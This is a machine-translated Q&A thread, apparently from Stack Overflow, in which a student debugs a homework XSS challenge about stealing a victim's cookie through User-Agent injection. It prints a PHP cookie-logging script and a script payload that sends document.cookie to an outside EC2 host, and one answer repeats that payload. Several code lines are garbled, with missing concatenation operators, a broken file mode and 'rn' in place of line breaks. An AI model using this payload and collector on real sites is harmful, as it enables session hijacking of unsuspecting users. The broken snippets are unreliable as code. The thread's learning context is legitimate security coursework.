#php #amazon-web-services #cookies #webserver #xss
#php #amazon-web-services #файлы cookie #веб-сервер #xss
Вопрос:
Я выполняю это домашнее задание по постоянному межсайтовому скриптингу, мы должны украсть cookie с помощью внедрения пользовательского агента. Более подробную информацию об этой задаче можно найти на этой странице (basic 41):
Предыстория:
поскольку эта проблема возникает на игрушечном веб-сайте, веб-сайт имитирует просмотр страницы жертвой для нас. Что нам нужно сделать, так это внедрить код на сервер страницы запроса и с помощью этого кода украсть cookie жертвы и отправить эти cookie на веб-сервер, который мы настроили сами. Как только мы успешно соберем файлы cookie жертв, мы можем установить для нашего собственного файла cookie эти значения, чтобы передать вызов.
Что я делал до сих пор:
-
Настройте веб-сервер на
aws ec2
. Я полагаю, что это centos, но не могу найти дополнительную информацию о выпуске, поскольку возникают проблемы с установкой centos-release package или что-то в этом роде. Все, что я могу найти, это только:Amazon Linux AMI 2018.03.0.20181129 x86_64 HVM gp2
. Правила для входящих сообщений установлены на порт 22 дляssh
и порт 80 дляhttp
. httpd, mysql, php установлены и протестированы в рабочем состоянии. Файлindex.html
под/var/www/http
обычно отображается в браузере. -
Поместите
cookie_stealer.php
под/var/www/http
Мой код
cookie_stealer.php
:
<?php
$cookie = isset($_GET['c']) ? $_GET['c'] : 'There is no variable c';
$fp = fopen('log.txt', 'a ');
fwrite($fp, 'Cookie:' .$cookie."rn");
fclose($fp);
?>
- Внедрить код в пользовательский агент Chrome:
<script type="text/javascript">document.location="ec2-52-91-99-56.compute-1.amazonaws.com/cookiesteal-simple.php?c=" document.cookie</script>
Пока что я успешно внедрил код, но значение document.cookie
не будет передано в мой php-файл. Поэтому в настоящее время я сосредоточен на этой проблеме.
- дополнительная информация
Я тестирую, как передать переменную в php, тестируя через url:
http://ec2-52-91-99-56.compute-1.amazonaws.com/cookie.php?c=ahhh
интересная (СТРАННАЯ!!) вещь заключается в том, что после того, как я добавил следующую строку в свой php-файл после $_GET['c']
строки:
echo 'Cookie: ' . $cookie . "rn";
значение c
может быть напечатано на веб-странице как ahhh
, но не записано в log.txt
. log.txt
Записывается только это:
Cookie:There is no variable c
Cookie:There is no variable c
Cookie:There is no variable c
Cookie:There is no variable c
Мой вопрос в том, если переменная c
передается $cookie
на сервер, почему этот троичный оператор всегда возвращается 'There is no variable c'
при отображении веб-страницы ahhh
. Кто-нибудь может сказать мне, почему это происходит или где еще я могу посмотреть? Любой намек был бы оценен!
Комментарии:
1. «Итак, я понимаю, что мой cookie_stealer.php по какой-то причине выполняется только локально в Chrome » Это неверно. Chrome даже не знает, как запускать PHP.
2. Спасибо @Joseph Sible’у! Я рассудил, что только потому, что веб-страница может отображать переданную переменную, мой сервер не может ее прочитать. В противном случае это просто не имеет смысла вообще. Если на странице отображается только значение с сервера, для меня так странно, что сервер не может читать, но страница может отображаться.
3. Браузер отображает только то, что ваш сервер передает ему, поэтому, если вы видите значение
c
, это означает, что ваш сервер может видеть$c='ahhh'
4. Привет @catcon, спасибо! Я все еще в замешательстве, если переменная передается на сервер, согласно моему коду, почему этот троичный оператор всегда возвращает «Нет переменной c»?
Ответ №1:
Возможно, вам потребуется изменить разрешение файла для записи в этот файл журнала. Попробуйте: chmod -R 777 log.txt
Ответ №2:
Моя первая мысль:
Возможно, вам потребуется указать URL-адрес текста cookie. Возможно, в ней есть что-то, что нарушает ваш URL-запрос.
<script type="text/javascript">document.location="ec2-52-91-99-56.compute-1.amazonaws.com/cookiesteal-simple.php?c=" encodeURIComponent(document.cookie)</script>
Тогда в PHP вам может потребоваться или не потребоваться ее декодирование, если вы это сделаете, вы можете сделать это:
$cookie = isset($_GET['c']) ? urldecode($_GET['c']) : 'There is no variable c';
Например, ваш инструктор, мой, вставил #
знак или что-то в этом роде. Я не могу сказать наверняка, поскольку я никогда не отправлял cookie через аргумент запроса, но я не думаю, что они предназначены для отправки таким образом.
В любом случае это было слишком для комментария, надеюсь, это поможет!